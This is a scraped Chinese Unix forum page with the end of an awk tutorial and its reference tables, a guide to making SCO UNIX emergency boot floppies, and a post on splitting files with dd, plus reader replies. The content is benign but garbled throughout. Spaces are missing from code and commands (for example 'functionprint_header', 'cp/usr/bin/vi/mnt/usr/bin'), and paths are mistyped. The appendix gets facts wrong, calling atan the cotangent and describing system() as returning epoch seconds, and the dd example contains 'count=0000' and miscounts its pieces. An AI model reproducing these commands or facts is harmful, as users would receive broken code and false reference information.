>’BEGIN{pageno=1;file=FILENAME
>pageno=print_header(file,pageno);#调用函数print_header
>printf(“当前页页号是:%d ”,pageno);
>}
>#定义函数print_header
>functionprint_header(FileName,PageNum){
>printf(“%s%d ”,FileName,PageNum);>PageNum++;returnPageNUm;
>}
>}’myfile
执行这个程序将显示如下内容:
myfile1
当前页页号是:2
awk高级输入输出
1.读取下一条记录:
awk的next语句导致awk读取下一个记录并完成模式匹配,然后立即执行相应的操作,
通常它用匹配的模式执行操作中的代码。next导致这个记录的任何额外匹配模式被忽略。
2.简单地读取一条记录
awk的getline语句用于简单地读取一条记录。如果用户有一个数据记录类似两个物理记录,那么getline将尤其有用。它完成一般字段的分离(设置字段变量$0FNRNFNR)。如果成功则返回1,失败则返回0(到达文件尾)。如果需简单地读取一个文件,则可以编写以下代码:
例:示例getline的使用
{while(getline==1)
{
#processtheinputtedfields
}
}
也可以使getline保存输入数据在一个字段中,而不是通过使用getlinevariable的形式处理一般字段。当使用这种方式时,NF被置成0,FNR和NR被增值。
用户也可以使用getline<“filename”方式从一个给定的文件中输入数据,而不是从命令行所列内容输入数据。此时,getline将完成一般字段分离(设置字段变量$0和NF)。如果文件不存在,返回-1,成功,返回1,返回0表示失败。用户可以从给定文件中读取数据到一个变量中,也可以用stdin(标准输入设备)或一个包含这个文件名的变量代替filename。值得注意的是当使用这种方式时不修改FNR和NR。
另一种使用getline语句的方法是从UNIX命令接受输入,例如下面的例子:
例:示例从UNIX命令接受输入
{while(“who-u”|getline)
{
#processeachlinefromthewhocommand
}
}
当然,也可以使用如下形式:
“command”|getlinevariable
3.关闭文件:
awk中允许在程序中关闭一个输入或输出文件,方法是使用awk的close语句。
close(“filename”)
filename可以是getline打开的文件(也可以是stdin,包含文件名的变量或者getline使用的确切命令)。或一个输出文件(可以是stdout,包含文件名的变量或使用管道的确切命令)。
4.输出到一个文件:
awk中允许用如下方式将结果输出到一个文件:
printf(“helloword! ”)>“datafile”
或
printf(“helloword! ”)>>“datafile”
5.输出到一个命令
awk中允许用如下方式将结果输出到一个命令:
printf(“helloword! ”)|“sort-t’,’”
awk与shellscript混合编程
因为awk可以作为一个shell命令使用,因此awk能与shell批处理程序很好的融合在一起,这给实现awk与shell程序的混合编程提供了可能。实现混合编程的关键是awk与shellscript之间的对话,换言之,就是awk与shellscript之间的信息交流:awk从shellscript中获取所需的信息(通常是变量的值)、在awk中执行shell命令行、shellscript将命令执行的结果送给awk处理以及shellscript读取awk的执行结果等等。
1.awk读取Shellscript程序变量
在awk中我们可以通过“’$变量名’”的方式读取sellscrpit程序中的变量。
例:在下面的示例中,我们将读取sellscrpit程序中的变量Name,该变量存放的是文本myfile的撰写者,awk将打印出这个人名。
$catwritename
:
#@(#)
#
.
.
.
Name=“张三”nawk’BEGIN{name=“’Name’”;printf(“ %s 撰写者%s ”,FILENAME,name“);}
{...}END{...}’myfile
.
.
.
2.将shell命令的执行结果送给awk处理
作为信息传送的一种方法,我们可以将一条shell命令的结果通过管道线(|)传递给awk处理:
例:示例awk处理shell命令的执行结果
$who-u|awk’{printf(”%s正在执行%s “,$2,$1)}’
该命令将打印出注册终端正在执行的程序名。
3.shellscript程序读awk的执行结果
为了实现shellscript程序读取awk执行的结果,我们可以采取一些特殊的方法,例如我们可以用变量名=`awk语句`的形式将awk执行的结果存放入一个shellscript变量。当然也可以用管道线的方法将awk执行结果传递给shellscript程序处理。
例:作为传送消息的机制之一,UNIX提供了一个向其所有用户传送消息的命令wall(意思是writetoall写给所有用户),该命令允许向所有工作中的用户(终端)发送消息。为此,我们可以通过一段shell批处理程序wall.shell来模拟这一程序(事实上比较老的版本中wall就是一段shell批处理程序:
$catwall.shell
:
#@(#)wall.shell:发送消息给每个已注册终端
#
cat>/tmp/$$
#用户录入消息文本who-u|awk’{print$2}’|whilereadtty
do
cat/tmp/$$>$tty
done
在这个程序里,awk接受who-u命令的执行结果,该命令打印出所有已注册终端的信息,其中第二个字段是已注册终端的设备名,因此用awk命令析出该设备名,然后用whilereadtty语句循环读出这些文件名到变量(shellscript变量)tty中,作为信息传送的终结地址。
4.在awk中执行shell命令行----嵌入函数system()
system()是一个不适合字符或数字类型的嵌入函数,该函数的功能是处理作为参数传递给它的字符串。system对这个参数的处理就是将其作为命令处理,也就是说将其当作命令行一样加以执行。这使得用户在自己的awk程序需要时可以灵活地执行命令或脚本。
例:下面的程序将使用system嵌入函数打印用户编制好的报表文件,这个文件存放在名为myreport.txt的文件中。为简约起见,我们只列出了其END部分:
.
.
.
END{close(”myreport.txt“);system(”lpmyreport.txt“);}
在这个示例中,我们首先使用close语句关闭了文件myreport.txt文件,然后使用system嵌入函数将myreport.txt送入打印机打印。
写到这里,我不得不跟朋友们说再见了,实在地说,这些内容仍然是awk的初步知识,电脑永远是前进的科学,awk也不例外,本篇所能做的只是在你前行的漫漫长途中铺平一段小小开端,剩下的路还得靠你自己去走。老实说,如果本文真能给你前行的路上带来些许的方便,那本人就知足了!
如对本篇有任何疑问,请E-mailTo:Chizlong@yeah.net或到主页chizling.yeah.net中留言。
附录:
1.awk的常规表达式元字符
换码序列
^在字符串的开头开始匹配
$在字符串的结尾开始匹配
.与任何单个字符串匹配
[ABC]与[]内的任一字符匹配
[A-Ca-c]与A-C及a-c范围内的字符匹配(按字母表顺序)
[^ABC]与除[]内的所有字符以外的任一字符匹配
Desk|Chair与Desk和Chair中的任一个匹配
[ABC][DEF]关联。与A、B、C中的任一字符匹配,且其后要跟D、E、F中的任一个字符。
*与A、B或C中任一个出现0次或多次的字符相匹配
+与A、B或C中任何一个出现1次或多次的字符相匹配
?与一个空串或A、B或C在任何一个字符相匹配
(Blue|Black)berry合并常规表达式,与Blueberry或Blackberry相匹配
2.awk算术运算符
运算符用途
------------------
x^yx的y次幂
x**y同上
x%y计算x/y的余数(求模)
x+yx加y
x-yx减y
x*yx乘y
x/yx除y
-y负y(y的开关符号);也称一目减
++yy加1后使用y(前置加)
y++使用y值后加1(后缀加)
--yy减1后使用y(前置减)
y--使用后y减1(后缀减)
x=y将y的值赋给x
x+=y将x+y的值赋给x
x-=y将x-y的值赋给x
x*=y将x*y的值赋给x
x/=y将x/y的值赋给xx%=y将x%y的值赋给x
x^=y将x^y的值赋给x
x**=y将x**y的值赋给x
3.awk允许的测试:
操作符含义
x==yx等于y
x!=yx不等于y
x>yx大于y
x>=yx大于或等于y
xx<=yx小于或等于y?
x~rex匹配正则表达式re?
x!~rex不匹配正则表达式re?
4.awk的操作符(按优先级升序排列)
=、+=、-=、*=、/=、%=
||
&&
>>=<<===!=~!~
xy(字符串连结,’x’’y’变成”xy“)
+-
*/%
++--
5.awk内置变量(预定义变量)
说明:表中v项表示第一个支持变量的工具(下同):A=awk,N=nawk,P=POSIXawk,G=gawk
V变量含义缺省值
--------------------------------------------------------
NARGC命令行参数个数
GARGIND当前被处理文件的ARGV标志符
NARGV命令行参数数组
GCONVFMT数字转换格式%.6g
PENVIRONUNIX环境变量
NERRNOUNIX系统错误消息
GFIELDWIDTHS输入字段宽度的空白分隔字符串
AFILENAME当前输入文件的名字
PFNR当前记录数
AFS输入字段分隔符空格
GIGNORECASE控制大小写敏感0(大小写敏感)
ANF当前记录中的字段个数
ANR已经读出的记录数
AOFMT数字的输出格式%.6g
AOFS输出字段分隔符空格
AORS输出的记录分隔符新行
ARS输入的记录他隔符新行
NRSTART被匹配函数匹配的字符串首
NRLENGTH被匹配函数匹配的字符串长度
NSUBSEP下标分隔符”�34"
6.awk的内置函数
V函数用途或返回值
------------------------------------------------
Ngsub(reg,string,target)每次常规表达式reg匹配时替换target中的string
Nindex(search,string)返回string中search串的位置
Alength(string)求串string中的字符个数
Nmatch(string,reg)返回常规表达式reg匹配的string中的位置
Nprintf(format,variable)格式化输出,按format提供的格式输出变量variable。
Nsplit(string,store,delim)根据分界符delim,分解string为store的数组元素
Nsprintf(format,variable)返回一个包含基于format的格式化数据,variables是要放到串中的数据
Gstrftime(format,timestamp)返回一个基于format的日期或者时间串,timestmp是systime()函数返回的时间
Nsub(reg,string,target)第一次当常规表达式reg匹配,替换target串中的字符串
Asubstr(string,position,len)返回一个以position开始len个字符的子串
Ptotower(string)返回string中对应的小写字符
Ptoupper(string)返回string中对应的大写字符
Aatan(x,y)x的余切(弧度)
Ncos(x)x的余弦(弧度)
Aexp(x)e的x幂
Aint(x)x的整数部分
Alog(x)x的自然对数值
Nrand()0-1之间的随机数
Nsin(x)x的正弦(弧度)
Asqrt(x)x的平方根
Asrand(x)初始化随机数发生器。如果忽略x,则使用system()
Gsystem()返回自1970年1月1日以来经过的时间(按秒计算)
jysww 回复于:2003-02-19 22:30:26up!
ssw0989 回复于:2003-11-17 19:39:54前后两篇精华贴子,但是内容也太相似了吧!!!
unix安全架构[转帖]Windows系统 第8篇
我们在UNIX系统发生故障时,通常会用引导盘恢复系统root文件。应急盘由boot软盘(引导盘)和root文件系统软盘(根文件系统盘)组成。其中boot应急盘包含了引导和装入UNIX系统核心所必需的三个文件:
/boot
/etc/default/boot
/unix
root应急盘包含了一部分UNIX系统的实用程序,它们帮助把UNIX系统完整地恢复起来。
可以根据不同的用户需求制作不同的应急引导盘。
普通的root和boot应急盘
准备两张3.5英寸软盘,以超级用户root身份登录,可以使用两种方式进入创建应急盘的界面:使用scoadmin中filesystem下的floppymanager或键入命令:mkdevfd,根据提示制作boot盘和root盘。
其中制作boot盘有两个选项:制作一特定系统的应急盘,包含与本机系统相同的内核;制作一个较小的通用内核应急盘,只连接较少的设备驱动,如果当前的核心较大,一张软盘装不下,就只好采用通用内核应急盘。
制作root盘时,若还留有空间,那么系统将提示是否需要增拷额外文件,用户可以根据实际情况进行处理。
包含vi工具的系统应急引导盘
通常创建的应急引导盘没有vi编辑功能,只能使用ed编辑文件。对于不熟悉ed工具的系统管理员来说是很不方便的。在创建应急盘时,可以适当添加一些自己需要的工具。
系统在用ramdisk创建基本的映象之后提示:
Doyouwanttoplaceextrafilesontherootfilesystem?(y/n)这时输入y,并在提示符下键入如下拷贝命令:
cp/usr/bin/vi/mnt/usr/binmkdir-p/mnt/usr/lib/terminfo/acd/usr/lib/terminfo/acpansi/mnt/usr/lib/terminfo/aexit
当系统崩溃用应急盘启动时,首先要指定终端类型,即
#setTERMansi
这样就可以使用vi工具了,
典型的例子是修改系统被遗忘的超级用户的口令。
包含网络文件的系统应急引导盘
为了让使用应急引导盘引导的UNIX系统具有网络方面的功能,可以在root盘中包含有关的网络文件,这样使用应急盘引导的UNIX系统就可以运行rlogin(TC)、te.net(TC)、ftp(TC)等应用程序。
在〈bootroot〉提示符下键入如下拷贝命令:
cp/etc.services/mnt/etc/services
cp/etc/tcp/mnt/etc/tcp
cp/etc/slink /mnt/etc/slink
cp/etc/ifconfig/mnt/etc/ifconfig
cp/bin/who/mnt/bin/who
cp/bin/ps/mnt/bin/ps
cp/usr/bin/telnet/mnt/usr.bin/telnet
cp/usr/bin/rlogin/mnt/usr/bin/rlogin
cp/usr/bin/ftp /mnt/usr/bin/ftp
yanguo66 回复于:-11-28 15:00:53除了文件恢复,网络功能如何使用呢?
unix安全架构[转帖]Windows系统 第9篇
[color=red:f163fa8829][size=18:f163fa8829]
作者:陈嘉洲
前几日,为了将一台安装SCO UNIX 5.0.5主机上的TAR打包文件备份, 需要将其通
过网络传送到另外一台配有磁带机的UNIX主机上。两台主机通过TX530网卡相连,用FTP
传送的时候,前几个文件分别在10M、20M字节大小,都能够顺利传送。但其中有一个文
件压缩后体积已达98M之巨,传送了几次,要么只能传40M, 要么只能传20M左右就导致
网络崩溃,换画面PING对方主机,本应为零的速率延迟降为2400多毫秒,而且误码率极
高,只有重新启动两台主机才能恢复网络通讯。
UNIX的SHELL功能强大,非WINDOWS可比,从上面使用的TAR、FTP已可管窥。同样,
UNIX已经提供了文件切割功能,不需要费力气去寻找第三方的文件切割程序。能完成
这个功能的UNIX命令就是DD。
要切割的大文件为DGJD,共98336321字节,则:
dd if=dgjd of=zz1 bs=1 count=0000
dd if=dgjd of=zz2 bs=1 count=20000000 skip=20000000
dd if=dgjd of=zz3 bs=1 count=20000000 skip=40000000
dd if=dgjd of=zz4 bs=1 count=20000000 skip=60000000
dd if=dgjd of=zz5 bs=1 count=18336321 skip=80000000
其中IF(INPUT FILENAME)是要切割的大文件名,OF(OUTPUT FILENAME)是切割后
的子文件名,BS是指明以多少字节作为一个切割记录单位,COUNT是要切割的单位记录数,
SKIP是说明切割时的起点,单位同样以BS设定值为准。通过上述五条指令就将DGJD大文件
切割成为4个2千万字节、1个18336321字节的子文件。要注意的是SKIP的值不能错。 由此
也不难看出,DD切割是“非损耗”式的切割,并且支持从任意位置开始的任意大小的切割。
要将生成的ZZ1、ZZ2、ZZ3、ZZ4四个子文件组装为XDGJD,则:
dd if=zz1 of=xdgjd bs=1 count=20000000
dd if=zz2 of=xdgjd bs=1 count=20000000 seek=20000000
dd if=zz3 of=xdgjd bs=1 count=20000000 seek=40000000
dd if=zz4 of=xdgjd bs=1 count=20000000 seek=60000000
dd if=zz5 of=xdgjd bs=1 count=18336321 seek=80000000
其中SKIP参数改为SEEK参数,指明组装的新大文件XDGJD每次的开始位置是从文件头开
始多少字节。如果缺省,则组装从文件头开始,显然这不是我们每次都希望的, 所以需用
SEEK参数明确指出开始位置,
通过以上5个指令,即可将5个子文件重新组装为一个大文件。
将切割后生成的子文件重新用FTP传送,结果有的能够顺利传送, 有的仍然导致网络瘫痪,
不怕,继续切割,切成每个一千万字节,再传,OK!成功传送!
测试表明,每次传送的文件最好小于12M字节,否则可能导致网络故障。另外,DD这个
命令最初是为了进行编码转换而设计的,用于在大型机中将EBCDIC字符代码转换为ASCII代
码,但此功能已不常用,现在DD成了文件系统备份的工具,以及做一些类似文件切割的“另
类业务”,正所谓“有心栽花花不开,无心插柳柳成荫”,不过对于用户来说,重要的是软
件能否完成自己需要的功能,它的“本职工作”是什么并不重要,“不管白猫黑猫,捉住老
鼠就是好猫”!实用为本,软件的生命力就在于实用。
[/color:f163fa8829][/size:f163fa8829]
Nestle 回复于:-02-20 09:18:41不错,不过我用split命令,这个命令原本就是用来分割文件的。组合的时候按字母顺序拷到一块就可以了。
luxr 回复于:2003-02-20 11:41:18[quote:a742325a51=“Nestle”]不错,不过我用split命令,这个命令原本就是用来分割文件的。组合的时候按字母顺序拷到一块就可以了。[/quote:a742325a51]
请详细介绍split命令的用法
hongliny 回复于:2003-02-20 11:49:12对,应将split的用法写出来,向陈嘉洲兄一样,搞一个示例!
muzx 回复于:2003-02-20 13:09:02各有各的用处嘛!
split 计量单位是行(line),只能对行式文件进行操作;
而dd 的计量单位是字节(byte),可以方便的对二进制文件进行操作。
陈君涛 回复于:2003-02-21 14:15:29谢谢陈嘉洲兄的例子.
bzzyg 回复于:2003-02-21 15:38:47[quote:e28a0cf99a=“luxr”]
请详细介绍split命令的用法[/quote:e28a0cf99a]
介绍是可以,不过太多了.还是在你的unix机器上用man split看吧.
午夜聆听 回复于:2003-02-21 16:22:46收下
zoukunhong 回复于:2003-03-12 17:15:11可能陈嘉洲兄的网络配置有问题,我的网络并不是很快,但一二百M文件10分钟搞掂
saintdragon 回复于:2003-03-13 10:35:05不错,DD和SPLIT用的场合不同。DD其实比SPLIT要强大
sd-feng 回复于:2003-03-13 14:14:31好
answer 回复于:2003-03-13 16:52:09要试一下。
快乐羔羊 回复于:2003-03-20 11:13:09本人试了一下 split:
#split -l 100 inputfile outfile
xiechq 回复于:2003-03-22 19:22:11split也可以按容量来分割文件的。
海德 回复于:2003-03-27 06:54:24:lol:
小跑 回复于:2003-03-29 22:27:40弓虽!!
maidx 回复于:2003-12-21 21:11:30好像530tx有bug.
unix安全架构[转帖]Windows系统
声明:除非特别标注,否则均为本站原创文章,转载时请以链接形式注明文章出处。如若本站内容侵犯了原著者的合法权益,可联系本站删除。